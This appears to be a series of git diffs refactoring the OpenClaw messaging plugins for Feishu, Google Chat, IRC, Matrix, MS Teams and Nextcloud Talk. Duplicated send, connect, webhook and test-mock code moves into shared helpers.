"Scan this QR code with the OpenClaw iOS app:",
"",
"```",
qrAscii,
"```",
"",
...infoLines,
].join("\n"),
};
}
const channel = ctx.channel;
const target = ctx.senderId?.trim() || ctx.from?.trim() || ctx.to?.trim() || "";
const authLabel = auth.label ?? "auth";

View File

@@ -6,6 +6,7 @@ import { Readable } from "stream";
import { resolveFeishuAccount } from "./accounts.js";
import { createFeishuClient } from "./client.js";
import { getFeishuRuntime } from "./runtime.js";
import { assertFeishuMessageApiSuccess, toFeishuSendResult } from "./send-result.js";
import { resolveReceiveIdType, normalizeFeishuTarget } from "./targets.js";
export type DownloadImageResult = {
@@ -283,15 +284,8 @@ export async function sendImageFeishu(params: {
msg_type: "image",
},
});
if (response.code !== 0) {
throw new Error(`Feishu image reply failed: ${response.msg || `code ${response.code}`}`);
}
return {
messageId: response.data?.message_id ?? "unknown",
chatId: receiveId,
};
assertFeishuMessageApiSuccess(response, "Feishu image reply failed");
return toFeishuSendResult(response, receiveId);
}
const response = await client.im.message.create({
@@ -302,15 +296,8 @@ export async function sendImageFeishu(params: {
msg_type: "image",
},
});
if (response.code !== 0) {
throw new Error(`Feishu image send failed: ${response.msg || `code ${response.code}`}`);
}
return {
messageId: response.data?.message_id ?? "unknown",
chatId: receiveId,
};
assertFeishuMessageApiSuccess(response, "Feishu image send failed");
return toFeishuSendResult(response, receiveId);
}
/**
@@ -349,15 +336,8 @@ export async function sendFileFeishu(params: {
msg_type: msgType,
},
});
if (response.code !== 0) {
throw new Error(`Feishu file reply failed: ${response.msg || `code ${response.code}`}`);
}
return {
messageId: response.data?.message_id ?? "unknown",
chatId: receiveId,
};
assertFeishuMessageApiSuccess(response, "Feishu file reply failed");
return toFeishuSendResult(response, receiveId);
}
const response = await client.im.message.create({
@@ -368,15 +348,8 @@ export async function sendFileFeishu(params: {
msg_type: msgType,
},
});
if (response.code !== 0) {
throw new Error(`Feishu file send failed: ${response.msg || `code ${response.code}`}`);
}
return {
messageId: response.data?.message_id ?? "unknown",
chatId: receiveId,
};
assertFeishuMessageApiSuccess(response, "Feishu file send failed");
return toFeishuSendResult(response, receiveId);
}
/**

View File

@@ -0,0 +1,29 @@
export type FeishuMessageApiResponse = {
code?: number;
msg?: string;
data?: {
message_id?: string;
};
};
export function assertFeishuMessageApiSuccess(
response: FeishuMessageApiResponse,
errorPrefix: string,
) {
if (response.code !== 0) {
throw new Error(`${errorPrefix}: ${response.msg || `code ${response.code}`}`);
}
}
export function toFeishuSendResult(
response: FeishuMessageApiResponse,
chatId: string,
): {
messageId: string;
chatId: string;
} {
return {
messageId: response.data?.message_id ?? "unknown",
chatId,
};
}

View File

@@ -5,6 +5,7 @@ import { resolveFeishuAccount } from "./accounts.js";
import { createFeishuClient } from "./client.js";
import { buildMentionedMessage, buildMentionedCardContent } from "./mention.js";
import { getFeishuRuntime } from "./runtime.js";
import { assertFeishuMessageApiSuccess, toFeishuSendResult } from "./send-result.js";
import { resolveReceiveIdType, normalizeFeishuTarget } from "./targets.js";
export type FeishuMessageInfo = {
@@ -161,15 +162,8 @@ export async function sendMessageFeishu(
msg_type: msgType,
},
});
if (response.code !== 0) {
throw new Error(`Feishu reply failed: ${response.msg || `code ${response.code}`}`);
}
return {
messageId: response.data?.message_id ?? "unknown",
chatId: receiveId,
};
assertFeishuMessageApiSuccess(response, "Feishu reply failed");
return toFeishuSendResult(response, receiveId);
}
const response = await client.im.message.create({
@@ -180,15 +174,8 @@ export async function sendMessageFeishu(
msg_type: msgType,
},
});
if (response.code !== 0) {
throw new Error(`Feishu send failed: ${response.msg || `code ${response.code}`}`);
}
return {
messageId: response.data?.message_id ?? "unknown",
chatId: receiveId,
};
assertFeishuMessageApiSuccess(response, "Feishu send failed");
return toFeishuSendResult(response, receiveId);
}
export type SendFeishuCardParams = {
@@ -223,15 +210,8 @@ export async function sendCardFeishu(params: SendFeishuCardParams): Promise<Feis
msg_type: "interactive",
},
});
if (response.code !== 0) {
throw new Error(`Feishu card reply failed: ${response.msg || `code ${response.code}`}`);
}
return {
messageId: response.data?.message_id ?? "unknown",
chatId: receiveId,
};
assertFeishuMessageApiSuccess(response, "Feishu card reply failed");
return toFeishuSendResult(response, receiveId);
}
const response = await client.im.message.create({
@@ -242,15 +222,8 @@ export async function sendCardFeishu(params: SendFeishuCardParams): Promise<Feis
msg_type: "interactive",
},
});
if (response.code !== 0) {
throw new Error(`Feishu card send failed: ${response.msg || `code ${response.code}`}`);
}
return {
messageId: response.data?.message_id ?? "unknown",
chatId: receiveId,
};
assertFeishuMessageApiSuccess(response, "Feishu card send failed");
return toFeishuSendResult(response, receiveId);
}
export async function updateCardFeishu(params: {

View File

@@ -5,6 +5,7 @@ import type {
} from "openclaw/plugin-sdk";
import {
createActionGate,
extractToolSend,
jsonResult,
readNumberParam,
readReactionParams,
@@ -64,16 +65,7 @@ export const googlechatMessageActions: ChannelMessageActionAdapter = {
return Array.from(actions);
},
extractToolSend: ({ args }) => {
const action = typeof args.action === "string" ? args.action.trim() : "";
if (action !== "sendMessage") {
return null;
}
const to = typeof args.to === "string" ? args.to : undefined;
if (!to) {
return null;
}
const accountId = typeof args.accountId === "string" ? args.accountId.trim() : undefined;
return { to, accountId };
return extractToolSend(args, "sendMessage");
},
handleAction: async ({ action, params, cfg, accountId }) => {
const account = resolveGoogleChatAccount({

View File

@@ -2,9 +2,11 @@ import type { IncomingMessage, ServerResponse } from "node:http";
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import {
createReplyPrefixOptions,
normalizeWebhookPath,
readJsonBodyWithLimit,
registerWebhookTarget,
rejectNonPostWebhookRequest,
resolveWebhookPath,
resolveWebhookTargets,
requestBodyErrorToText,
resolveMentionGatingWithBypass,
} from "openclaw/plugin-sdk";
@@ -89,19 +91,7 @@ function warnDeprecatedUsersEmailEntries(
}
export function registerGoogleChatWebhookTarget(target: WebhookTarget): () => void {
const key = normalizeWebhookPath(target.path);
const normalizedTarget = { ...target, path: key };
const existing = webhookTargets.get(key) ?? [];
const next = [...existing, normalizedTarget];
webhookTargets.set(key, next);
return () => {
const updated = (webhookTargets.get(key) ?? []).filter((entry) => entry !== normalizedTarget);
if (updated.length > 0) {
webhookTargets.set(key, updated);
} else {
webhookTargets.delete(key);
}
};
return registerWebhookTarget(webhookTargets, target).unregister;
}
function normalizeAudienceType(value?: string | null): GoogleChatAudienceType | undefined {
@@ -123,17 +113,13 @@ export async function handleGoogleChatWebhookRequest(
req: IncomingMessage,
res: ServerResponse,
): Promise<boolean> {
const url = new URL(req.url ?? "/", "http://localhost");
const path = normalizeWebhookPath(url.pathname);
const targets = webhookTargets.get(path);
if (!targets || targets.length === 0) {
const resolved = resolveWebhookTargets(req, webhookTargets);
if (!resolved) {
return false;
}
const { targets } = resolved;
if (req.method !== "POST") {
res.statusCode = 405;
res.setHeader("Allow", "POST");
res.end("Method Not Allowed");
if (rejectNonPostWebhookRequest(req, res)) {
return true;
}

View File

@@ -1,8 +1,9 @@
import type { IncomingMessage, ServerResponse } from "node:http";
import type { IncomingMessage } from "node:http";
import type { OpenClawConfig, PluginRuntime } from "openclaw/plugin-sdk";
import { EventEmitter } from "node:events";
import { describe, expect, it, vi } from "vitest";
import type { ResolvedGoogleChatAccount } from "./accounts.js";
import { createMockServerResponse } from "../../../src/test-utils/mock-http-response.js";
import { verifyGoogleChatRequest } from "./auth.js";
import { handleGoogleChatWebhookRequest, registerGoogleChatWebhookTarget } from "./monitor.js";
@@ -37,24 +38,6 @@ function createWebhookRequest(params: {
return req;
}
function createWebhookResponse(): ServerResponse & { body?: string } {
const headers: Record<string, string> = {};
const res = {
headersSent: false,
statusCode: 200,
setHeader: (key: string, value: string) => {
headers[key.toLowerCase()] = value;
return res;
},
end: (body?: string) => {
res.headersSent = true;
res.body = body;
return res;
},
} as unknown as ServerResponse & { body?: string };
return res;
}
const baseAccount = (accountId: string) =>
({
accountId,
@@ -105,7 +88,7 @@ describe("Google Chat webhook routing", () => {
const { sinkA, sinkB, unregister } = registerTwoTargets();
try {
const res = createWebhookResponse();
const res = createMockServerResponse();
const handled = await handleGoogleChatWebhookRequest(
createWebhookRequest({
authorization: "Bearer test-token",
@@ -131,7 +114,7 @@ describe("Google Chat webhook routing", () => {
const { sinkA, sinkB, unregister } = registerTwoTargets();
try {
const res = createWebhookResponse();
const res = createMockServerResponse();
const handled = await handleGoogleChatWebhookRequest(
createWebhookRequest({
authorization: "Bearer test-token",

View File

@@ -1,4 +1,5 @@
import { describe, expect, it, vi } from "vitest";
import { installCommonResolveTargetErrorCases } from "../../shared/resolve-target-test-helpers.js";
vi.mock("openclaw/plugin-sdk", () => ({
getChatChannelMeta: () => ({ id: "googlechat", label: "Google Chat" }),
@@ -92,47 +93,8 @@ describe("googlechat resolveTarget", () => {
expect(result.to).toBe("users/user@example.com");
});
it("should error on normalization failure with allowlist (implicit mode)", () => {
const result = resolveTarget({
to: "invalid-target",
mode: "implicit",
allowFrom: ["spaces/BBB"],
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
});
it("should error when no target provided with allowlist", () => {
const result = resolveTarget({
to: undefined,
mode: "implicit",
allowFrom: ["spaces/BBB"],
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
});
it("should error when no target and no allowlist", () => {
const result = resolveTarget({
to: undefined,
mode: "explicit",
allowFrom: [],
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
});
it("should handle whitespace-only target", () => {
const result = resolveTarget({
to: " ",
mode: "explicit",
allowFrom: [],
});
expect(result.ok).toBe(false);
expect(result.error).toBeDefined();
installCommonResolveTargetErrorCases({
resolveTarget,
implicitAllowFrom: ["spaces/BBB"],
});
});

View File

@@ -0,0 +1,30 @@
import type { ResolvedIrcAccount } from "./accounts.js";
import type { IrcClientOptions } from "./client.js";
type IrcConnectOverrides = Omit<
Partial<IrcClientOptions>,
"host" | "port" | "tls" | "nick" | "username" | "realname" | "password" | "nickserv"
>;
export function buildIrcConnectOptions(
account: ResolvedIrcAccount,
overrides: IrcConnectOverrides = {},
): IrcClientOptions {
return {
host: account.host,
port: account.port,
tls: account.tls,
nick: account.nick,
username: account.username,
realname: account.realname,
password: account.password,
nickserv: {
enabled: account.config.nickserv?.enabled,
service: account.config.nickserv?.service,
password: account.config.nickserv?.password,
register: account.config.nickserv?.register,
registerEmail: account.config.nickserv?.registerEmail,
},
...overrides,
};
}

View File

@@ -2,6 +2,7 @@ import type { RuntimeEnv } from "openclaw/plugin-sdk";
import type { CoreConfig, IrcInboundMessage } from "./types.js";
import { resolveIrcAccount } from "./accounts.js";
import { connectIrcClient, type IrcClient } from "./client.js";
import { buildIrcConnectOptions } from "./connect-options.js";
import { handleIrcInbound } from "./inbound.js";
import { isChannelTarget } from "./normalize.js";
import { makeIrcMessageId } from "./protocol.js";
@@ -59,91 +60,79 @@ export async function monitorIrcProvider(opts: IrcMonitorOptions): Promise<{ sto
let client: IrcClient | null = null;
client = await connectIrcClient({
host: account.host,
port: account.port,
tls: account.tls,
nick: account.nick,
username: account.username,
realname: account.realname,
password: account.password,
nickserv: {
enabled: account.config.nickserv?.enabled,
service: account.config.nickserv?.service,
password: account.config.nickserv?.password,
register: account.config.nickserv?.register,
registerEmail: account.config.nickserv?.registerEmail,
},
channels: account.config.channels,
abortSignal: opts.abortSignal,
onLine: (line) => {
if (core.logging.shouldLogVerbose()) {
logger.debug?.(`[${account.accountId}] << ${line}`);
}
},
onNotice: (text, target) => {
if (core.logging.shouldLogVerbose()) {
logger.debug?.(`[${account.accountId}] notice ${target ?? ""}: ${text}`);
}
},
onError: (error) => {
logger.error(`[${account.accountId}] IRC error: ${error.message}`);
},
onPrivmsg: async (event) => {
if (!client) {
return;
}
if (event.senderNick.toLowerCase() === client.nick.toLowerCase()) {
return;
}
client = await connectIrcClient(
buildIrcConnectOptions(account, {
channels: account.config.channels,
abortSignal: opts.abortSignal,
onLine: (line) => {
if (core.logging.shouldLogVerbose()) {
logger.debug?.(`[${account.accountId}] << ${line}`);
}
},
onNotice: (text, target) => {
if (core.logging.shouldLogVerbose()) {
logger.debug?.(`[${account.accountId}] notice ${target ?? ""}: ${text}`);
}
},
onError: (error) => {
logger.error(`[${account.accountId}] IRC error: ${error.message}`);
},
onPrivmsg: async (event) => {
if (!client) {
return;
}
if (event.senderNick.toLowerCase() === client.nick.toLowerCase()) {
return;
}
const inboundTarget = resolveIrcInboundTarget({
target: event.target,
senderNick: event.senderNick,
});
const message: IrcInboundMessage = {
messageId: makeIrcMessageId(),
target: inboundTarget.target,
rawTarget: inboundTarget.rawTarget,
senderNick: event.senderNick,
senderUser: event.senderUser,
senderHost: event.senderHost,
text: event.text,
timestamp: Date.now(),
isGroup: inboundTarget.isGroup,
};
const inboundTarget = resolveIrcInboundTarget({
target: event.target,
senderNick: event.senderNick,
});
const message: IrcInboundMessage = {
messageId: makeIrcMessageId(),
target: inboundTarget.target,
rawTarget: inboundTarget.rawTarget,
senderNick: event.senderNick,
senderUser: event.senderUser,
senderHost: event.senderHost,
text: event.text,
timestamp: Date.now(),
isGroup: inboundTarget.isGroup,
};
core.channel.activity.record({
channel: "irc",
accountId: account.accountId,
direction: "inbound",
at: message.timestamp,
});
core.channel.activity.record({
channel: "irc",
accountId: account.accountId,
direction: "inbound",
at: message.timestamp,
});
if (opts.onMessage) {
await opts.onMessage(message, client);
return;
}
if (opts.onMessage) {
await opts.onMessage(message, client);
return;
}
await handleIrcInbound({
message,
account,
config: cfg,
runtime,
connectedNick: client.nick,
sendReply: async (target, text) => {
client?.sendPrivmsg(target, text);
opts.statusSink?.({ lastOutboundAt: Date.now() });
core.channel.activity.record({
channel: "irc",
accountId: account.accountId,
direction: "outbound",
});
},
statusSink: opts.statusSink,
});
},
});
await handleIrcInbound({
message,
account,
config: cfg,
runtime,
connectedNick: client.nick,
sendReply: async (target, text) => {
client?.sendPrivmsg(target, text);
opts.statusSink?.({ lastOutboundAt: Date.now() });
core.channel.activity.record({
channel: "irc",
accountId: account.accountId,
direction: "outbound",
});
},
statusSink: opts.statusSink,
});
},
}),
);
logger.info(
`[${account.accountId}] connected to ${account.host}:${account.port}${account.tls ? " (tls)" : ""} as ${client.nick}`,

View File

@@ -1,6 +1,7 @@
import type { CoreConfig, IrcProbe } from "./types.js";
import { resolveIrcAccount } from "./accounts.js";
import { connectIrcClient } from "./client.js";
import { buildIrcConnectOptions } from "./connect-options.js";
function formatError(err: unknown): string {
if (err instanceof Error) {
@@ -31,23 +32,11 @@ export async function probeIrc(
const started = Date.now();
try {
const client = await connectIrcClient({
host: account.host,
port: account.port,
tls: account.tls,
nick: account.nick,
username: account.username,
realname: account.realname,
password: account.password,
nickserv: {
enabled: account.config.nickserv?.enabled,
service: account.config.nickserv?.service,
password: account.config.nickserv?.password,
register: account.config.nickserv?.register,
registerEmail: account.config.nickserv?.registerEmail,
},
connectTimeoutMs: opts?.timeoutMs ?? 8000,
});
const client = await connectIrcClient(
buildIrcConnectOptions(account, {
connectTimeoutMs: opts?.timeoutMs ?? 8000,
}),
);
const elapsed = Date.now() - started;
client.quit("probe");
return {

View File

@@ -2,6 +2,7 @@ import type { IrcClient } from "./client.js";
import type { CoreConfig } from "./types.js";
import { resolveIrcAccount } from "./accounts.js";
import { connectIrcClient } from "./client.js";
import { buildIrcConnectOptions } from "./connect-options.js";
import { normalizeIrcMessagingTarget } from "./normalize.js";
import { makeIrcMessageId } from "./protocol.js";
import { getIrcRuntime } from "./runtime.js";
@@ -65,23 +66,11 @@ export async function sendMessageIrc(
if (client?.isReady()) {
client.sendPrivmsg(target, payload);
} else {
const transient = await connectIrcClient({
host: account.host,
port: account.port,
tls: account.tls,
nick: account.nick,
username: account.username,
realname: account.realname,
password: account.password,
nickserv: {
enabled: account.config.nickserv?.enabled,
service: account.config.nickserv?.service,
password: account.config.nickserv?.password,
register: account.config.nickserv?.register,
registerEmail: account.config.nickserv?.registerEmail,
},
connectTimeoutMs: 12000,
});
const transient = await connectIrcClient(
buildIrcConnectOptions(account, {
connectTimeoutMs: 12000,
}),
);
transient.sendPrivmsg(target, payload);
transient.quit("sent");
}

View File

@@ -3,12 +3,8 @@ import type { CoreConfig } from "../../types.js";
import type { MatrixActionClient, MatrixActionClientOpts } from "./types.js";
import { getMatrixRuntime } from "../../runtime.js";
import { getActiveMatrixClient } from "../active-client.js";
import {
createMatrixClient,
isBunRuntime,
resolveMatrixAuth,
resolveSharedMatrixClient,
} from "../client.js";
import { createPreparedMatrixClient } from "../client-bootstrap.js";
import { isBunRuntime, resolveMatrixAuth, resolveSharedMatrixClient } from "../client.js";
export function ensureNodeRuntime() {
if (isBunRuntime()) {
@@ -42,24 +38,10 @@ export async function resolveActionClient(
cfg: getMatrixRuntime().config.loadConfig() as CoreConfig,
accountId,
});
const client = await createMatrixClient({
homeserver: auth.homeserver,
userId: auth.userId,
accessToken: auth.accessToken,
encryption: auth.encryption,
localTimeoutMs: opts.timeoutMs,
const client = await createPreparedMatrixClient({
auth,
timeoutMs: opts.timeoutMs,
accountId,
});
if (auth.encryption && client.crypto) {
try {
const joinedRooms = await client.getJoinedRooms();
await (client.crypto as { prepare: (rooms?: string[]) => Promise<void> }).prepare(
joinedRooms,
);
} catch {
// Ignore crypto prep failures for one-off actions.
}
}
await client.start();
return { client, stopOnDone: true };
}

View File

@@ -0,0 +1,39 @@
import { createMatrixClient } from "./client.js";
type MatrixClientBootstrapAuth = {
homeserver: string;
userId: string;
accessToken: string;
encryption?: boolean;
};
type MatrixCryptoPrepare = {
prepare: (rooms?: string[]) => Promise<void>;
};
type MatrixBootstrapClient = Awaited<ReturnType<typeof createMatrixClient>>;
export async function createPreparedMatrixClient(opts: {
auth: MatrixClientBootstrapAuth;
timeoutMs?: number;
accountId?: string;
}): Promise<MatrixBootstrapClient> {
const client = await createMatrixClient({
homeserver: opts.auth.homeserver,
userId: opts.auth.userId,
accessToken: opts.auth.accessToken,
encryption: opts.auth.encryption,
localTimeoutMs: opts.timeoutMs,
accountId: opts.accountId,
});
if (opts.auth.encryption && client.crypto) {
try {
const joinedRooms = await client.getJoinedRooms();
await (client.crypto as MatrixCryptoPrepare).prepare(joinedRooms);
} catch {
// Ignore crypto prep failures for one-off requests.
}
}
await client.start();
return client;
}

View File

@@ -22,14 +22,12 @@ describe("downloadMatrixMedia", () => {
setMatrixRuntime(runtimeStub);
});
it("decrypts encrypted media when file payloads are present", async () => {
function makeEncryptedMediaFixture() {
const decryptMedia = vi.fn().mockResolvedValue(Buffer.from("decrypted"));
const client = {
crypto: { decryptMedia },
mxcToHttp: vi.fn().mockReturnValue("https://example/mxc"),
} as unknown as import("@vector-im/matrix-bot-sdk").MatrixClient;
const file = {
url: "mxc://example/file",
key: {
@@ -43,6 +41,11 @@ describe("downloadMatrixMedia", () => {
hashes: { sha256: "hash" },
v: "v2",
};
return { decryptMedia, client, file };
}
it("decrypts encrypted media when file payloads are present", async () => {
const { decryptMedia, client, file } = makeEncryptedMediaFixture();
const result = await downloadMatrixMedia({
client,
@@ -64,26 +67,7 @@ describe("downloadMatrixMedia", () => {
});
it("rejects encrypted media that exceeds maxBytes before decrypting", async () => {
const decryptMedia = vi.fn().mockResolvedValue(Buffer.from("decrypted"));
const client = {
crypto: { decryptMedia },
mxcToHttp: vi.fn().mockReturnValue("https://example/mxc"),
} as unknown as import("@vector-im/matrix-bot-sdk").MatrixClient;
const file = {
url: "mxc://example/file",
key: {
kty: "oct",
key_ops: ["encrypt", "decrypt"],
alg: "A256CTR",
k: "secret",
ext: true,
},
iv: "iv",
hashes: { sha256: "hash" },
v: "v2",
};
const { decryptMedia, client, file } = makeEncryptedMediaFixture();
await expect(
downloadMatrixMedia({

View File

@@ -3,12 +3,8 @@ import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/acco
import type { CoreConfig } from "../../types.js";
import { getMatrixRuntime } from "../../runtime.js";
import { getActiveMatrixClient, getAnyActiveMatrixClient } from "../active-client.js";
import {
createMatrixClient,
isBunRuntime,
resolveMatrixAuth,
resolveSharedMatrixClient,
} from "../client.js";
import { createPreparedMatrixClient } from "../client-bootstrap.js";
import { isBunRuntime, resolveMatrixAuth, resolveSharedMatrixClient } from "../client.js";
const getCore = () => getMatrixRuntime();
@@ -92,25 +88,10 @@ export async function resolveMatrixClient(opts: {
return { client, stopOnDone: false };
}
const auth = await resolveMatrixAuth({ accountId });
const client = await createMatrixClient({
homeserver: auth.homeserver,
userId: auth.userId,
accessToken: auth.accessToken,
encryption: auth.encryption,
localTimeoutMs: opts.timeoutMs,
const client = await createPreparedMatrixClient({
auth,
timeoutMs: opts.timeoutMs,
accountId,
});
if (auth.encryption && client.crypto) {
try {
const joinedRooms = await client.getJoinedRooms();
await (client.crypto as { prepare: (rooms?: string[]) => Promise<void> }).prepare(
joinedRooms,
);
} catch {
// Ignore crypto prep failures for one-off sends; normal sync will retry.
}
}
// @vector-im/matrix-bot-sdk uses start() instead of startClient()
await client.start();
return { client, stopOnDone: true };
}

View File

@@ -1,8 +1,5 @@
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import type WebSocket from "ws";
import { Buffer } from "node:buffer";
export { createDedupeCache } from "openclaw/plugin-sdk";
export { createDedupeCache, rawDataToString } from "openclaw/plugin-sdk";
export type ResponsePrefixContext = {
model?: string;
@@ -40,25 +37,6 @@ export function formatInboundFromLabel(params: {
return `${directLabel} id:${directId}`;
}
export function rawDataToString(
data: WebSocket.RawData,
encoding: BufferEncoding = "utf8",
): string {
if (typeof data === "string") {
return data;
}
if (Buffer.isBuffer(data)) {
return data.toString(encoding);
}
if (Array.isArray(data)) {
return Buffer.concat(data).toString(encoding);
}
if (data instanceof ArrayBuffer) {
return Buffer.from(data).toString(encoding);
}
return Buffer.from(String(data)).toString(encoding);
}
function normalizeAgentId(value: string | undefined | null): string {
const trimmed = (value ?? "").trim();
if (!trimmed) {

View File

@@ -1,4 +1,3 @@
import type { PluginRuntime } from "openclaw/plugin-sdk";
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
@@ -6,23 +5,11 @@ import { beforeEach, describe, expect, it } from "vitest";
import type { StoredConversationReference } from "./conversation-store.js";
import { createMSTeamsConversationStoreFs } from "./conversation-store-fs.js";
import { setMSTeamsRuntime } from "./runtime.js";
const runtimeStub = {
state: {
resolveStateDir: (env: NodeJS.ProcessEnv = process.env, homedir?: () => string) => {
const override = env.OPENCLAW_STATE_DIR?.trim() || env.OPENCLAW_STATE_DIR?.trim();
if (override) {
return override;
}
const resolvedHome = homedir ? homedir() : os.homedir();
return path.join(resolvedHome, ".openclaw");
},
},
} as unknown as PluginRuntime;
import { msteamsRuntimeStub } from "./test-runtime.js";
describe("msteams conversation store (fs)", () => {
beforeEach(() => {
setMSTeamsRuntime(runtimeStub);
setMSTeamsRuntime(msteamsRuntimeStub);
});
it("filters and prunes expired entries (but keeps legacy ones)", async () => {

View File

@@ -1,27 +1,14 @@
import type { PluginRuntime } from "openclaw/plugin-sdk";
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { beforeEach, describe, expect, it } from "vitest";
import { buildMSTeamsPollCard, createMSTeamsPollStoreFs, extractMSTeamsPollVote } from "./polls.js";
import { setMSTeamsRuntime } from "./runtime.js";
const runtimeStub = {
state: {
resolveStateDir: (env: NodeJS.ProcessEnv = process.env, homedir?: () => string) => {
const override = env.OPENCLAW_STATE_DIR?.trim() || env.OPENCLAW_STATE_DIR?.trim();
if (override) {
return override;
}
const resolvedHome = homedir ? homedir() : os.homedir();
return path.join(resolvedHome, ".openclaw");
},
},
} as unknown as PluginRuntime;
import { msteamsRuntimeStub } from "./test-runtime.js";
describe("msteams polls", () => {
beforeEach(() => {
setMSTeamsRuntime(runtimeStub);
setMSTeamsRuntime(msteamsRuntimeStub);
});
it("builds poll cards with fallback text", () => {

View File

@@ -374,6 +374,45 @@ async function sendTextWithMedia(
};
}
type ProactiveActivityParams = {
adapter: MSTeamsProactiveContext["adapter"];
appId: string;
ref: MSTeamsProactiveContext["ref"];
activity: Record<string, unknown>;
errorPrefix: string;
};
async function sendProactiveActivity({
adapter,
appId,
ref,
activity,
errorPrefix,
}: ProactiveActivityParams): Promise<string> {
const baseRef = buildConversationReference(ref);
const proactiveRef = {
...baseRef,
activityId: undefined,
};
let messageId = "unknown";
try {
await adapter.continueConversation(appId, proactiveRef, async (ctx) => {
const response = await ctx.sendActivity(activity);
messageId = extractMessageId(response) ?? "unknown";
});
return messageId;
} catch (err) {
const classification = classifyMSTeamsSendError(err);
const hint = formatMSTeamsSendErrorHint(classification);
const status = classification.statusCode ? ` (HTTP ${classification.statusCode})` : "";
throw new Error(
`${errorPrefix} failed${status}: ${formatUnknownError(err)}${hint ? ` (${hint})` : ""}`,
{ cause: err },
);
}
}
/**
* Send a poll (Adaptive Card) to a Teams conversation or user.
*/
@@ -409,27 +448,13 @@ export async function sendPollMSTeams(
};
// Send poll via proactive conversation (Adaptive Cards require direct activity send)
const baseRef = buildConversationReference(ref);
const proactiveRef = {
...baseRef,
activityId: undefined,
};
let messageId = "unknown";
try {
await adapter.continueConversation(appId, proactiveRef, async (ctx) => {
const response = await ctx.sendActivity(activity);
messageId = extractMessageId(response) ?? "unknown";
});
} catch (err) {
const classification = classifyMSTeamsSendError(err);
const hint = formatMSTeamsSendErrorHint(classification);
const status = classification.statusCode ? ` (HTTP ${classification.statusCode})` : "";
throw new Error(
`msteams poll send failed${status}: ${formatUnknownError(err)}${hint ? ` (${hint})` : ""}`,
{ cause: err },
);
}
const messageId = await sendProactiveActivity({
adapter,
appId,
ref,
activity,
errorPrefix: "msteams poll send",
});
log.info("sent poll", { conversationId, pollId: pollCard.pollId, messageId });
@@ -469,27 +494,13 @@ export async function sendAdaptiveCardMSTeams(
};
// Send card via proactive conversation
const baseRef = buildConversationReference(ref);
const proactiveRef = {
...baseRef,
activityId: undefined,
};
let messageId = "unknown";
try {
await adapter.continueConversation(appId, proactiveRef, async (ctx) => {
const response = await ctx.sendActivity(activity);
messageId = extractMessageId(response) ?? "unknown";
});
} catch (err) {
const classification = classifyMSTeamsSendError(err);
const hint = formatMSTeamsSendErrorHint(classification);
const status = classification.statusCode ? ` (HTTP ${classification.statusCode})` : "";
throw new Error(
`msteams card send failed${status}: ${formatUnknownError(err)}${hint ? ` (${hint})` : ""}`,
{ cause: err },
);
}
const messageId = await sendProactiveActivity({
adapter,
appId,
ref,
activity,
errorPrefix: "msteams card send",
});
log.info("sent adaptive card", { conversationId, messageId });

View File

@@ -1,7 +1,5 @@
import crypto from "node:crypto";
import fs from "node:fs";
import path from "node:path";
import { safeParseJson } from "openclaw/plugin-sdk";
import { readJsonFileWithFallback, writeJsonFileAtomically } from "openclaw/plugin-sdk";
import { withFileLock as withPathLock } from "./file-lock.js";
const STORE_LOCK_OPTIONS = {
@@ -19,31 +17,11 @@ export async function readJsonFile<T>(
filePath: string,
fallback: T,
): Promise<{ value: T; exists: boolean }> {
try {
const raw = await fs.promises.readFile(filePath, "utf-8");
const parsed = safeParseJson<T>(raw);
if (parsed == null) {
return { value: fallback, exists: true };
}
return { value: parsed, exists: true };
} catch (err) {
const code = (err as { code?: string }).code;
if (code === "ENOENT") {
return { value: fallback, exists: false };
}
return { value: fallback, exists: false };
}
return await readJsonFileWithFallback(filePath, fallback);
}
export async function writeJsonFile(filePath: string, value: unknown): Promise<void> {
const dir = path.dirname(filePath);
await fs.promises.mkdir(dir, { recursive: true, mode: 0o700 });
const tmp = path.join(dir, `${path.basename(filePath)}.${crypto.randomUUID()}.tmp`);
await fs.promises.writeFile(tmp, `${JSON.stringify(value, null, 2)}\n`, {
encoding: "utf-8",
});
await fs.promises.chmod(tmp, 0o600);
await fs.promises.rename(tmp, filePath);
await writeJsonFileAtomically(filePath, value);
}
async function ensureJsonFile(filePath: string, fallback: unknown) {

View File

@@ -0,0 +1,16 @@
import type { PluginRuntime } from "openclaw/plugin-sdk";
import os from "node:os";
import path from "node:path";
export const msteamsRuntimeStub = {
state: {
resolveStateDir: (env: NodeJS.ProcessEnv = process.env, homedir?: () => string) => {
const override = env.OPENCLAW_STATE_DIR?.trim() || env.OPENCLAW_STATE_DIR?.trim();
if (override) {
return override;
}
const resolvedHome = homedir ? homedir() : os.homedir();
return path.join(resolvedHome, ".openclaw");
},
},
} as unknown as PluginRuntime;

View File

@@ -1,38 +1,16 @@
import type { IncomingMessage } from "node:http";
import { EventEmitter } from "node:events";
import { describe, expect, it } from "vitest";
import { createMockIncomingRequest } from "../../../test/helpers/mock-incoming-request.js";
import { readNextcloudTalkWebhookBody } from "./monitor.js";
function createMockRequest(chunks: string[]): IncomingMessage {
const req = new EventEmitter() as IncomingMessage & { destroyed?: boolean; destroy: () => void };
req.destroyed = false;
req.headers = {};
req.destroy = () => {
req.destroyed = true;
};
void Promise.resolve().then(() => {
for (const chunk of chunks) {
req.emit("data", Buffer.from(chunk, "utf-8"));
if (req.destroyed) {
return;
}
}
req.emit("end");
});
return req;
}
describe("readNextcloudTalkWebhookBody", () => {
it("reads valid body within max bytes", async () => {
const req = createMockRequest(['{"type":"Create"}']);
const req = createMockIncomingRequest(['{"type":"Create"}']);
const body = await readNextcloudTalkWebhookBody(req, 1024);
expect(body).toBe('{"type":"Create"}');
});
it("rejects when payload exceeds max bytes", async () => {
const req = createMockRequest(["x".repeat(300)]);
const req = createMockIncomingRequest(["x".repeat(300)]);
await expect(readNextcloudTalkWebhookBody(req, 128)).rejects.toThrow("PayloadTooLarge");
});
});

View File

@@ -50,6 +50,24 @@ export type MetricName =
| DecryptMetricName
| MemoryMetricName;
type RelayMetrics = {
connects: number;
disconnects: number;
reconnects: number;
errors: number;
messagesReceived: {
event: number;
eose: number;
closed: number;
notice: number;
ok: number;
